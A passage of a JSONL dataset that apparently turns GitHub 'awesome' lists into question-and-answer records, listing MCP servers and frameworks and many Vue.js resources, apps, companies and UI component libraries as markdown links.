[billster45/mcp-chatgpt-responses](https://github.com/billster45/mcp-chatgpt-responses) 🐍 ☁️ - MCP server for Claude to talk to ChatGPT and use its web search capability.\n- [blurrah/mcp-graphql](https://github.com/blurrah/mcp-graphql) 📇 ☁️ - Allows the AI to query GraphQL servers\n- [boldsign/boldsign-mcp](https://github.com/boldsign/boldsign-mcp) 📇 ☁️ - Search, request, and manage e-signature contracts effortlessly with [BoldSign](https://boldsign.com/).\n- [brianxiadong/ones-wiki-mcp-server](https://github.com/brianxiadong/ones-wiki-mcp-server) ☕ ☁️/🏠 - A Spring AI MCP-based service for retrieving ONES Waiki content and converting it to AI-friendly text format.\n- [calclavia/mcp-obsidian](https://github.com/calclavia/mcp-obsidian) 📇 🏠 - This is a connector to allow Claude Desktop (or any MCP client) to read and search any directory containing Markdown notes (such a", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312521"}
{"id": "gh_f547b5478e2f", "question": "How to: Frameworks", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "> [!NOTE]\n> More frameworks, utilities, and other developer tools are available at https://github.com/punkpeye/awesome-mcp-devtools\n\n- [Epistates/TurboMCP](https://github.com/Epistates/turbomcp) 🦀 - TurboMCP SDK: Enterprise MCP SDK in Rust\n- [FastMCP](https://github.com/jlowin/fastmcp) 🐍 - A high-level framework for building MCP servers in Python\n- [FastMCP](https://github.com/punkpeye/fastmcp) 📇 - A high-level framework for building MCP servers in TypeScript\n- [MervinPraison/praisonai-mcp](https://github.com/MervinPraison/praisonai-mcp) 🐍 - AI Agents framework with 64+ built-in tools for search, memory, workflows, code execution, and file operations. Turn any AI assistant into a multi-agent system with MCP.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312532"}
{"id": "gh_7e135a6380a0", "question": "How to: Official prompt to inform LLMs how to use MCP", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Want to ask Claude about Model Context Protocol?\n\nCreate a Project, then add this file to it:\n\nhttps://modelcontextprotocol.io/llms-full.txt\n\nNow Claude can answer questions about writing MCP servers and how they work\n\n- https://www.reddit.com/r/ClaudeAI/comments/1h3g01r/want_to_ask_claude_about_model_context_protocol/", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312538"}
{"id": "gh_5d2df30f0d0d", "question": "How to: Star History", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312543"}
{"id": "gh_9564b6aa4954", "question": "How to: Official Resources", "question_body": "About vuejs/awesome-vue", "answer": "- [Documentation](https://vuejs.org/)\n- [API Reference](http://vuejs.org/api/)\n- [GitHub Repo](https://github.com/vuejs/)\n- [Release Notes](https://github.com/vuejs/core/releases)\n- [Style Guide](https://vuejs.org/v2/style-guide/)\n- [Vue.js News](https://news.vuejs.org/)\n- [IDE Language Support](https://github.com/vuejs/language-tools?tab=readme-ov-file#vue-language-tools)\n- [Awesome Vite](https://github.com/vitejs/awesome-vite)", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.726980"}
{"id": "gh_ba7c54c12ed7", "question": "How to: External Resources", "question_body": "About vuejs/awesome-vue", "answer": "- [Vue.js 資料まとめ(for japanese)](https://gist.github.com/hashrock/f575928d0e109ace9ad0) by @hashrock\n- [Vue.js Wikipedia](https://en.wikipedia.org/wiki/Vue.js)\n- [Weekly Vue.js Newsletter](https://mokkapps.de/newsletter) - Weekly Vue.js news & tips by @mokkapps\n- [Vue News](https://vuenews.io) - Social website focusing on the latest Vue.js news and information.\n- [Vue Curated Resources](https://hackr.io/tutorials/learn-vue-js) - Recommended Vue.js courses and tutorials.\n- [Vue School](https://vueschool.io) - Learn Vue.js from video courses by core members and industry experts\n- [VueDose](https://vuedose.tips). Tips & tricks about the Vue ecosystem, for busy devs.\n- [Vue.js DEV Community](https://dev.to/t/vue) - Official tag for the Vue.js JavaScript Framework on DEV.to\n- [Vue.js Online Courses Directory](https://classpert.com/vuejs) - Vue.js courses from top e-learning platforms curated by Classpert, a online course search engine.\n- [WebTechSurvey.com](https://webtechsurvey.com/technology/vue.js) - An extensive list of websites created with the Vue.js Javascript framework.\n- [Vue Mastery](https://www.vuemastery.com/) - The ultimate learning resource for Vue developers\n- [Vue 3 Video Playlist](https://www.youtube.com/playlist?list=PLMLZt4pr7Aq6AfC_ynfeDbEk2hbMFGpHO) - Amazing Vue 3 tutorials and experiments\n- [Vue.js Workshops](https://public.vuejsworkshops.com) - Learn Vue 2, in browser, by building 3 applications: Landing page, Todos App and Podcasts aggregator.( Vue.js, Vue-Router, Vuex, Vue-Axios, Vue-Apollo )\n- [Vue.js Articles](https://thewebdev.info/category/javascript/vue/) - Assorted Vue 2 and 3 tutorials and articles.\n- [Best vue.js Courses On YouTube](https://www.nbshare.io/blog/best-vue-js-courses-on-youtube/) - Handpicked list of best Vue.js tutorials on YouTube\n- [Notes on Vue](https://notes-on-vue.ackzell.dev/) - A personal guide to Vue development.\n- [Vue-FAQ](https://vue-faq.org/) - FAQ about frontend in general and Vue.js in particular.\n- [State of Vue Report](https://www.monterail.com/stateofvue?utm_source=Github&utm_medium=awesomevue) - The 5th edition of the most comprehensive Vue publication. Co-created with Evan You, the Vue & Nuxt Core Teams", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727002"}
{"id": "gh_57dc4f585f89", "question": "How to: Job Portal", "question_body": "About vuejs/awesome-vue", "answer": "- [Vue.js Jobs - VueJobs](https://vuejobs.com/) - A Vue.js job portal to hire or get hired for all your Vue.js jobs.\n- [Vue.js Interview Questions](https://github.com/sudheerj/vuejs-interview-questions) - A List of 300 VueJS Interview Questions and Answers", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727008"}
{"id": "gh_e52b617e8891", "question": "How to: Conferences", "question_body": "About vuejs/awesome-vue", "answer": "- [VueConf US](http://vueconf.us)\n- [VueConf Toronto](https://vuetoronto.com)\n- [Vue.js Amsterdam](https://vuejs.amsterdam)", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727020"}
{"id": "gh_cb1df7055050", "question": "How to: Official Examples", "question_body": "About vuejs/awesome-vue", "answer": "- [Vue.js TodoMVC](https://github.com/vuejs/vue/tree/dev/examples/todomvc)", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727028"}
{"id": "gh_a43f3ef833e5", "question": "How to: Blog Posts", "question_body": "About vuejs/awesome-vue", "answer": "- [Vue x Hasura GraphQL](https://medium.com/@malgamves/vue-x-hasura-graphql-d66f585a3ba5)\n- [Using GraphQL Mutations in Vue.js](https://medium.com/@malgamves/using-graphql-mutations-in-vue-js-3b4570234edf)\n- [Learn How To Build A Data-Driven Search UI with Vue.JS](https://medium.appbase.io/learn-how-to-build-a-github-search-explorer-app-with-vue-js-c66f61d6e152)\n- [Using GitLab CI/CD to auto-deploy your Vue.js application to AWS S3](https://medium.com/@croo/using-gitlab-ci-cd-to-auto-deploy-your-vue-js-application-to-aws-s3-9affe1eb3457)\n- [Dockerizing a Vue App](https://mherman.org/blog/dockerizing-a-vue-app/)\n- [Deploying a Flask and Vue App to Heroku with Docker and Gitlab CI](https://testdriven.io/blog/deploying-flask-to-heroku-with-docker-and-gitlab/)\n- [Large-scale Vuex application structures](https://medium.com/3yourmind/large-scale-vuex-application-structures-651e44863e2f)\n- [Composing computed properties in Vue.js](https://medium.com/@kevin_peters/composing-computed-properties-in-vue-js-87b4507af079)\n- [Learn how to refactor Vue.js Single File Components with a real-world example](https://medium.com/@kevin_peters/learn-how-to-refactor-vue-js-single-file-components-on-a-real-world-example-501b3952ae49)\n- [Get Started Writing Class-based Vue.js Apps in TypeScript](https://www.sitepoint.com/class-based-vue-js-typescript)\n- [Vue.js with TypeScript](https://johnpapa.net/vue-typescript) by [John Papa](https://johnpapa.net/about/)\n- [Guide to Unit Testing Vue Components](https://testdriven.io/blog/vue-unit-testing/)\n- [Realtime chat App with Vue and Hasura ](https://dev.to/hasurahq/realtime-chat-app-with-vue-and-hasura-202h)\n- [Vue vs React: Which is the better framework?](https://buttercms.com/blog/vue-vs-react-which-is-the-better-framework)\n- [Building a Beautiful Animated News App with Vue.js and Vuetify](https://buttercms.com/blog/build-a-beautiful-animated-news-app-with-vuejs-and-vuetify)\n- [Comparing Angular vs Vue](https://buttercms.com/blog/comparing-angular-vs-vue)\n- [Vue vs. React – Which Should You Pick For Your Next Web Project?](https://www.ideamotive.co/blog/vue-vs-react?utm_source=github.com&utm_medium=social&utm_campaign=vue-vs-react)\n- [Vue.js from scratch series](https://www.youtube.com/playlist?list=PLLhEJK7fQIxDWDJEyeT68wT8ZroODeRuw) on YouTube by Paris Nakita Kejser\n- [10 Quick-Fire Vue Interview Questions](https://medium.com/javascript-in-plain-english/10-quick-fire-vue-interview-questions-3c16d14a3b51)\n- [VueJS Admin Template](https://themeselection.com/vuejs-admin-template/) - Collection of awesome opens source and premium VueJS Admin Templates.", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727096"}
{"id": "gh_d8806a2e3264", "question": "How to: Documentaries", "question_body": "About vuejs/awesome-vue", "answer": "- [Vue.js: The Documentary](https://www.youtube.com/watch?v=OrxmtDw4pVI) by Honeypot (Feb 2020)", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727102"}
{"id": "gh_61f7fbf55b19", "question": "How to: Companies Using Vue.js", "question_body": "About vuejs/awesome-vue", "answer": "- [Companies Using Vue/Nuxt](https://github.com/cloydlau/companies-using-vue)", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727106"}
{"id": "gh_28412bf11519", "question": "How to: Open Source", "question_body": "About vuejs/awesome-vue", "answer": "- [npmcharts.com](https://github.com/cheapsteak/npmcharts.com) - Compare npm packages and spot download trends.\n- [Koel](https://github.com/phanan/koel) - A personal music streaming server that works.\n- [astralapp](https://github.com/astralapp/astral) - Organize Your GitHub Stars With Ease.\n- [PJ Blog](https://github.com/jcc/blog) - Open source blog built with Laravel and Vue.js.\n- [OpenAPI 3 viewer](https://github.com/koumoul-dev/openapi-viewer) - Browse and test a REST API described with the OpenAPI 3.0 Specification\n- [nativescript-vue](https://github.com/rigor789/nativescript-vue) - A Vue.js implementation of the NativeScript renderer.\n- [Paper-Dashboard](https://github.com/creativetimofficial/vue-paper-dashboard) -Creative Tim Paper Dashboard made for Vue\n- [CoreUI Vue Admin Template](https://github.com/coreui/coreui-free-vue-admin-template) - Open Source Admin Template powered by Vue.js\n- [vuejs-extension-pack vscode](https://github.com/mubaidr/vuejs-extension-pack) - An extension packf or vscode with popular VS Code extensions for Vue.js development.\n- [Wiki.js](https://github.com/Requarks/wiki) - A modern, lightweight and powerful wiki app built on NodeJS, Git and Markdown\n- [peregrine-cms](https://github.com/headwirecom/peregrine-cms) - A Vue.js and Apache Sling based head-optional CMS\n- [Light Bootstrap Dashboard](https://github.com/creativetimofficial/vue-light-bootstrap-dashboard) - Creative Tim Light Bootstrap Dashboard made for Vue\n- [vue-storefront](https://github.com/DivanteLtd/vue-storefront) - Vue.js Storefront - PWA for eCommerce. 100% offline, platform agnostic, headless, Magento2 supported.\n- [Laravel Enso](https://github.com/laravel-enso/enso) - SPA Admin Panel built with Bulma, VueJS and Laravel, packing lots of features out of the box.\n- [Hubble](https://hubble.js.org) - :telescope: Travel through GitHub Stars' history.\n- [Vuepress](https://vuepress.vuejs.org/) - Minimalistic Vue-powered static site generator\n- [Socialhome](https://github.com/jaywink/socialhome) - A federated rich profile builder with social networking features\n- [chrome-ribbon-reminder](https://github.com/johndatserakis/chrome-ribbon-reminder) - A Chrome extension written using Vue and Async/Await. Uses a popup display and changes badge counts.\n- [Faviator](https://www.faviator.xyz/) - A simple easy favicon generator.\n- [Minimal Notes](https://github.com/vladocar/Minimal-Notes) - Web app build with Vue.js\n- [Stack Edit](https://github.com/benweet/stackedit/) - In-browser Markdown editor\n- [Bael Blog Template](https://bael-theme.jake101.com/) - A static generated blog template that uses Netlify CMS for the backend and Netlify for hosting. Features a brutalist aesthetic, fuzzy search, serverless email signup, and more.\n- [Buefy Shop](https://github.com/14nrv/buefy-shop) - Sample shop, open source, built with Nuxt, Stripe, Firebase, Bulma and Serverless Functions.\n- [Vuemmerce](https://github.com/ivanlori/Vuemmerce) - Free ecommerce template built with Vue.js and Bulma framework :new:\n- [Carpoolear](https://github.com/STS-Rosario/carpoolear) - The open source Vue.js frontend (mobile and cordova app) for the argentinian carpooling application: [Carpoolear](https://carpoolear.com.ar)\n- [Vue E-Store Templet](https://github.com/rash0/Vue-Ecom) - An e-commerce template build with vue/vuex/vue-router and bootstrap4.\n- [Twill](https://twill.io) - An open source CMS toolkit for Laravel that helps developers rapidly create a custom admin console that is intuitive, powerful and flexible.\n- [Vue Org Chart](https://github.com/Hoogkamer/vue-org-chart) - Manage and publish your interactive organization chart (orgchart), free and no webserver required.\n- [Thermal](https://thermal.codecarrot.net) - One stop to all Git repository.\n- [QMK Configurator](https://github.com/qmk/qmk_configurator) - QMK Firmware Keyboard Configuration UI in Vue.js.\n- [Daily](https://github.com/dailynowco/daily) - Curated dev news delivered to your new tab 👩🏽‍💻\n- [Laravel File Manager](https://github.com/alexusmai/laravel-file-manager) - Powerful file manager for Laravel\n- [Vue Crypto Dashboard](https://github.com/JayeshLab/vue-crypto-dashboard) - Cryptocurrency Dashboard made with Vue.js\n- [Vue Expenses](https://github.com/simplyvinay/vue-expenses) - Expense tracking app made with Vue.js, Vuetify and ASP.NET Core\n- [Akaunting](https://github.com/akaunting/akaunting) - A free and online accounting software for small businesses and freelancers based on Laravel and VueJS.\n- [MQTTX](https://github.com/emqx/MQTTX) - Cross-platform MQTT 5.0 desktop client built with Vue.js, Typescript and Electron.\n- [Pychat](https://github.com/akoidan/pychat) - Self-hosted webrtc video chat (an alternative to Slack)\n- [CodeceptJS UI](https://github.com/codecept-js/ui) - Cypress-liked UI for ✔️ CodeceptJS end 2 end tests ✔️.\n- [LeagueStats](https://github.com/vkaelin/LeagueStats) - Statistics website for players of the online game League of Legends.\n- [Savycart](https://github.com", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727140"}
{"id": "gh_0227b5caf3cc", "question": "How to: Commercial Products", "question_body": "About vuejs/awesome-vue", "answer": "- [Wijmo](http://wijmo.com/products/wijmo-5/) - A collection of UI controls with VueJS support.\n- [ChatWoot](https://www.chatwoot.com/) - Livechat and agent collaboration over Facebook messenger.\n- [VueA](https://themeforest.net/item/vuejs-laravel-admin-template/20119122?ref=jyostna&utm_source=awesomevue) - VueJS Admin template with multiple layouts and laravel version.\n- [EducationLink](https://geteducation.link/?utm_source=AwesomeVue) - CRM and sales automation for education agents and colleges.\n- [Pragmatic v2.0](https://1.envato.market/LYWqL) - Responsive and configurable admin template built with Vue.js and Element.\n- [Moonitor](https://moonitor.io/) - Cryptocurrency tracker for Desktop.\n- [Deskree](https://deskree.com/) - Online collaboration platform that combines Ideas, Tasks, and Issues in one place.\n- [Agiloo](https://www.agiloo.com) - Project Management app for Scrum and Kanban\n- [ScaffoldHub](https://www.scaffoldhub.io) - Online Web App Generator for VueJS with NodeJS, and MongoDB or SQL.\n- [Commandeer](https://getcommandeer.com) - Cloud Management Reimagined. A Desktop cloud management app built with Vue.js and Electron.\n- [Leave Dates](https://leavedates.com) - A powerful new way to track your staff leave.\n- [vREST NG](https://ng.vrest.io) - An enterprise application for Automated API Testing, built with VueJS and Element UI.\n- [Coloban](https://www.coloban.com) - All-in-one project management tool with chats, Kanban, Gantt, calls, screenshare and many more.\n- [NxShell](https://github.com/nxshell/nxshell) - An easy to use new terminal for SSH, which based on Electron and VueJS.\n- [Materio Vuetify VueJS Admin Template](https://themeselection.com/products/materio-vuetify-vuejs-admin-template/) - Most Powerful, Developer Friendly, Production ready & Comprehensive Vuetify VueJS Admin Template.\n- [NocoDB](https://github.com/nocodb/nocodb) - An opensource Airtable alternative.\n- [KodaDot](https://github.com/kodadot/nft-gallery) - NFT Marketplace on Polkadot funded as public good, written in Vue.js\n- [He3](https://he3.app) - Free and Modern Developer Utilities Toolbox.\n- [RunJS](https://runjs.app) - JavaScript playground that evaluates your code as you type and gives instant feedback. Ideal for prototyping ideas or trying out new libraries.\n- [Sneat Vuetify VueJS Admin Template](https://themeselection.com/item/sneat-vuetify-vuejs-admin-template/) - The Ultimate VueJS Admin Template for responsive web apps.\n- [Litlyx](https://litlyx.com) - AI-powered web analytics platform. Open-source alternative to Google Analytics 4 and Mixpanel.", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727150"}
{"id": "gh_5159a045cfa2", "question": "How to: Apps/Websites", "question_body": "About vuejs/awesome-vue", "answer": "- [Laravel Spark](https://spark.laravel.com/)\n- [Vice Video](https://video.vice.com/)\n- [Formlets](https://www.formlets.com)\n- [Laracasts](https://laracasts.com)\n- [esa.io](https://esa.io/)\n- [稀土掘金](http://gold.xitu.io)\n- [Prague Airport](http://www.prague-airport.com/)\n- [Portfolio Site](http://corentinbac.com/)\n- [Statamic](https://statamic.com)\n- [Embalses!](http://embalses.azurewebsites.net/) - A tool to report water dam level using the U.S. Geological Survey database.\n- [TravelMap](http://clem.travelmap.fr) - A simple way for travelers to create a blog based on a Map.\n- [Proper Cloth Shirt Builder](https://propercloth.com/design-a-shirt) - Custom shirt builder.\n- [Powerpuff Yourself by Cartoon Networks](https://www.powerpuffyourself.com/)\n- [vNotes](https://github.com/IgorHalfeld/v-notes) - Simple and beautiful notepad to Markdown with Vue.js and Local Storage API.\n- [Open Function Computers](http://www.openfunctioncomputers.com/#!/home)\n- [Dermail](https://github.com/zllovesuki/dermail-webmail) - A webmail client written in Vue.js for Dermail, a mail system written in node.js.\n- [octimine](https://www.octimine.com/) - A patent search engine.\n- [Draxed](https://www.draxed.com/) - A web based MySQL and PostgreSQL data browser and dashboard manager.\n- [Jobinja](https://jobinja.ir) - A Job Board and career platform operating in Iran.\n- [滚蛋吧！莆田系](https://putianxi.github.io/) - Show all Putian hospital information\n- [Livestorm](http://livestorm.co) - Webinar / Live events app.\n- [Holden](https://www.holden.com.au)\n- [Global-Exam](https://global-exam.com) - Online Training for Language Proficiency Tests\n- [12BAY.VN](https://12bay.vn) - Applications online flight bookings.\n- [PLAYCODE.IO](https://playcode.io) - Playground for Rapid Frontend Experiments.\n- [The Void Radio](http://thevoidrad.io) - Underground House Music Online Radio.\n- [Bitly Vue](https://alpixel.github.io/bitly-vuejs) - Shorten URLs with VueJS & Bitly API.\n- [Storyblok](https://www.storyblok.com) - API Based/Decoupled CMS using VueJS for its frontend.\n- [EasyWebinar](https://easywebinar.com/) - Webinar Software / Live events & Webinar app.\n- [WizzAir](https://wizzair.com/)\n- [Moving to HTTPS](https://movingtohttps.com/) - Guide to moving different platform/hosting sites to HTTPS\n- [Euronews](http://www.euronews.com) - Euronews is a multilingual news media service, headquartered in Lyon, France.\n- [Vue.js Feed](https://vuejsfeed.com/) - The latest Vue.js news, tutorials, plugins, and more. Made with Vue.js and Laravel.\n- [Guess Right](https://kdcinfo.com/guessright/) - A 'guess the word' game - Written with Vue/vuex/vue-router (front-end) and Laravel/MySQL (back-end). Code is [Open Source on GitHub](https://github.com/KDCinfo/guess-right) (although not the live files that run the game at kdcinfo).\n- [GRAP](https://grap.io) - Business communication service\n- [JSON Schema Editor](https://json-schema-editor.tangramjs.com) - An intuitive editor for JSON schema built with Vue.js and Firebase.\n- [Winsome Trivia](https://splode.github.io/trivia/) - A single or multiplayer trivia game featuring over 2,000 unique questions built with Vue.js and powered by the Open Trivia Database.\n- [Moon Organizer](https://moonorganizer.com/calendar/) - Lunar calendar app\n- [Kinderbesteck](https://www.kinderbesteck-gravur.de/) - A full Online Shop SPA with Vue2.0, Vuex, Vue Router\n- [Power Thesaurus](https://www.powerthesaurus.org) - A crowdsourced online thesaurus\n- [PAIXIN](http://www.paixin.com/) - A genuine picture sale website\n- [1XBET](https://1xbet.com) - A betting company operating since 2007\n- [CrowdCircus](https://crowdcircus.com) - Europe’s biggest crowdfunding- and crowdinvesting-aggregator\n- [PingBreak](https://pingbreak.com) - A free and simple website monitoring service using vuejs for real-time dashboard\n- [Todoist Tribute](https://github.com/rohitpaulk/todoist-tribute/) - Todoist clone, written in Rails + Vue\n- [JSON Editor](https://json-editor.tangramjs.com) - A schema-aware JSON editor built with Vue2 and firebase.\n- [Develteam](https://www.develteam.com) - A social network for indie game developers.\n- [Mixsii](https://www.mixsii.com) - A free video chat room site for teens, adults, family, and friends.\n- [PipQuest](http://pipquest.gregorterrill.com) - A retro-style puzzle game built in Vue\n- [Matryx](https://matryx.ai/) - A decentralized collaboration platform.\n- [iPrevYou - YouTube™ Player](https://chrome.google.com/webstore/detail/iprevyou-youtube-player/blijlgfnjhnhmnaldaiienmjggbjhbaa) - A chrome app for watching youtube videos on your desktop.\n- [Item Manager](https://itemmanager.uk) - An application to transfer items for Destiny 2 game.\n- [Frontend Masters Intro to Vue](https://frontendmasters.com/courses/vue/) - Frontend Masters full day course\n- [TR-101](https://inverted3.gitlab.io/drum-machine/) - A drum synth / sequencer.\n- [Bazaar](https://bazaar.co) - Media sharing platform.\n- [Vectr](https://vectr.com/new) - A free vector graphics soft", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727221"}
{"id": "gh_97a78c38c961", "question": "How to: Interactive Experiences", "question_body": "About vuejs/awesome-vue", "answer": "- [YouTube AdBlitz 2016](https://adblitz.withyoutube.com/#!/advertisers)\n- [Louis Ansa Website (portfolio)](http://louisansa.com)\n- [Djeco.com](http://www.djeco.com/en)\n- [Tolks.io](https://tolks.io)\n- [NOIZE original](http://noizeoriginal.com)\n- [TR-101 Synth Drum Machine](https://inverted3.gitlab.io/drum-machine)\n- [CSS ColorVars](https://csscolorvars.github.io/) - Interactive tool code generation ([source code](https://github.com/CSSColorVars/csscolorvars))\n- [Nightlight During Conflict](https://pngk.org/nightlight/) - Explore GIS data on nightlight output for countries in conflict.\n- [User Friendly Justice Data](https://justicemoroccoprototype.hiil.org/) - Explore justice data from Morocco.\n- [Vue Play](https://www.vueplay.com) - Create Vue components and applications in an interactive / visual drag & drop designer.\n- [Yahya J. Aifit's Portfolio Site](https://yja.me) - Portfolio site that inspired by the appearance of desktop operating system.", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727228"}
{"id": "gh_af7b9dbdb7df", "question": "How to: Enterprise Usage", "question_body": "About vuejs/awesome-vue", "answer": "- Alibaba\n- Baidu\n- Sina Weibo\n- Xiaomi\n- Ele.me\n- Optimizely\n- Expedia\n- UCWeb\n- Line\n- Nintendo\n- Celtra\n- [Sainsbury's](https://sainsburys.jobs/)\n- [AREX](https://arex.io/)\n- DJI\n- Octimine GmbH\n- Hunliji\n- [GitLab](https://about.gitlab.com/2016/10/20/why-we-chose-vue/)\n- [Clemenger BBDO Melbourne](http://clemengerbbdo.com.au)\n- [ZenMate](https://zenmate.com)\n- [Codeship](https://blog.codeship.com/consider-vuejs-next-web-project/)\n- [Storyblok](https://app.storyblok.com)\n- [Monito](https://www.monito.com) - Building the Booking.com for international money transfers\n- [Hypefactors](https://hypefactors.com) - Software for data-driven PR professionals\n- Adobe\n- IBM\n- [Cotabox](https://cotabox.com.br)\n- [Aromajoin](https://aromajoin.com) - Develop the finest digital scent products based on the harmony of hardware, software and material technology.\n- [Carrefour](https://www.carrefour.fr)\n- [Staples Canada](https://www.staples.ca/)\n- [Blibli](https://www.blibli.com)\n- [Manduka](https://www.manduka.com/)\n- [Upwork](https://www.upwork.com/) - Work Marketplace for freelancers and employers", "tags": ["vuejs"], "source": "github_gists", "category": "vuejs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 73599, "answer_score": 10, "has_code": false, "url": "https://github.com/vuejs/awesome-vue", "collected_at": "2026-01-16T23:27:37.727236"}
{"id": "gh_f0fbab8bd803", "question": "How to: Frameworks", "question_body": "About vuejs/awesome-vue", "answer": "#### Responsive\n\n_Set of components + responsive layout system_\n\n- [quasar-framework](https://github.com/quasarframework/quasar) - Quasar Framework. Build responsive websites, hybrid mobile Apps and Electron apps using same code, with Vue.js 3.\n- [vue-material](https://github.com/vuematerial/vue-material) - Material design for Vue.js.\n- [vuetify](https://github.com/vuetifyjs/vuetify) - Material Component Framework for Vue.js 2.\n- [buefy](https://github.com/rafaelpimpa/buefy) - Components based on Bulma framework.\n- [element-ui](https://github.com/ElemeFE/element) - A Vue.js 2.0 UI Toolkit for Web.\n- [iview-ui](https://www.iviewui.com) - A Vue.js 2.0 UI Framework for web.\n- [AT-UI](https://at.aotu.io) - A fresh and flat UI-Kit specially for desktop application, made with ♥ by Vue.js 2.0\n- [BootstrapVue](https://github.com/bootstrap-vue/bootstrap-vue) - Bootstrap v4 components and grid system for Vue.js.\n- [fish-ui](https://myliang.github.io/fish-ui) - A Vue.js 2.0 UI Toolkit for Web\n- [zircle-ui](https://github.com/zircleUI/zircleUI) - A frontend library to develop zoomable user interfaces.\n- [ant-design-vue](https://github.com/vueComponent/ant-design-vue) - An enterprise-class UI components based on Ant Design and Vue 3.2.0\n- [heyui](https://github.com/heyui/heyui) - (https://www.heyui.top/en) - A Vue.js 2.0 UI Toolkit for Web.\n- [Carvue.js](https://carvuejs.github.io/) - IBM's Carbon Design System for Vue.js\n- [BalmUI](https://github.com/balmjs/balm-ui) - A modular and customizable UI library based on Material Design and Vue 3.0\n- [Osiris UI](https://osiris-ui.github.io/osiris) - :art: A Vue.js 2.0 universal responsive UI component library\n- [@Carbon/vue](https://github.com/carbon-design-system/carbon-components-vue) - Carbon Design System components from the @carbon team.\n- [Inkline](https://github.com/inkline/inkline/) - Inkline is the intuitive UI Components library that gives you a developer-friendly foundation for building Vue.js 3 Design Systems.\n- [MDBootstrap](https://github.com/mdbootstrap/Vue-Bootstrap-with-Material-Design) - Powerful UI toolkit based on the latest Bootstrap 4 and Vue 2.6.10, providing a set of slick, responsive page templates, layouts, components and widgets to rapidly build responsive, mobile-first websites and apps.\n- [vue-material-adapter](https://github.com/pgbross/vue-material-adapter) - Integration of Material Components for Vue.js which follows the best practices recommended by Google: Using Foundations and Adapters\n- [PrimeVue](https://primefaces.org/primevue) - The Most Complete UI Component Library for Vue\n- [CoreUI for Vue.js](https://github.com/coreui/coreui-vue) - CoreUI for Vue.js is a UI Component Library that offers a bunch of cross-browser, responsive, and lightweight Vue.js UI components.\n- [oruga](https://github.com/oruga-ui/oruga) - UI components for Vue.js without CSS framework dependency.\n- [Wave UI](https://github.com/antoniandre/wave-ui) - An emerging UI framework for Vue.js with only the bright side. ☀️\n- [element3](https://github.com/kkbjs/element3) - A Vue.js 3.0 UI Toolkit for Web is based on element-ui\n- [vuestic-ui](https://github.com/epicmaxco/vuestic-ui) - A Vue.js 3.0 UI customizable UI Framework.\n- [Qui-max](https://github.com/Qvant-lab/qui-max) - A Vue 3.x Design System for Web\n- [Naive UI](https://github.com/TuSimple/naive-ui) - A Vue 3 Component Library Fairly Complete, 